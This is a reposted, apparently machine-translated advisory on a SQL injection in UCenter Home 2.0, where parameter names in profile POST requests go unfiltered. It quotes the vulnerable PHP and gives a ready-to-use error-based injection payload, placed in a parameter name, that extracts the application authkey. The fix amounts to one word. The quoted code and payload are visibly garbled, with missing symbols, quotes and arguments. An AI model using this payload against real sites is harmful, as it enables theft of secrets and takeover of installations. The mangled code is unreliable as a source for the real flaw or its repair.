UCenter Home 2.0 SQL injection and repair

Source: Internet
Author: User

Release date: 2011-01.23
Author: alibaba


Affected Version: UCenter Home 2.0
Official Website:Http://www.discuz.net

Vulnerability Type: SQL Injection
Vulnerability Description: uc_home 2.0 only filters parameter values in the magic_quote_gpc off environment. If the parameter name is ignored, injection is generated.
 

Code Analysis:

Function_common.php // SQL ADDSLASHES function saddslashes ($ string) {if (is_array ($ string) {foreach ($ string as $ key => $ val) {$ string [$ key] = saddslashes ($ val); // only filter parameter values} else {$ string = addslashes ($ string);} return $ string ;}
Cp_profile.php: about 56 rows

// Privacy $ inserts = array (); foreach ($ _ POST [friend] as $ key => $ value) {value = intval ($ value ); $ inserts [] = "(base, $ key, $ space [uid], $ value)"; // $ key not filtered} if ($ inserts) {$ _ SGLOBAL [db]-> query ("delete from ". tname (spaceinfo ). "WHERE uid = $ space [uid] AND type = base"); $ _ SGLOBAL [db]-> query ("insert ". tname (spaceinfo ). "(type, subtype, uid, friend) VALUES ". implode (, $ inserts); // The injection vulnerability appears here}
Exploit:


Requirement: magic_quote_gpc off
URL: cp. php? Ac = profile & op = base

Create a POST when saving the file with the parameter name:
Friend [a, (select 1 from (select count (*), concat (Select concat (substring (authkey,) FROM uc_applications limit), floor (rand (0) * 2) x from information_schema.tables group by x) a), 1) #]
Parameter Value: Random

Here I use Firefox's tamper to add POST in real time
 



 
Obtain the authkey of uchome.
 

 

Fix: Filter

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.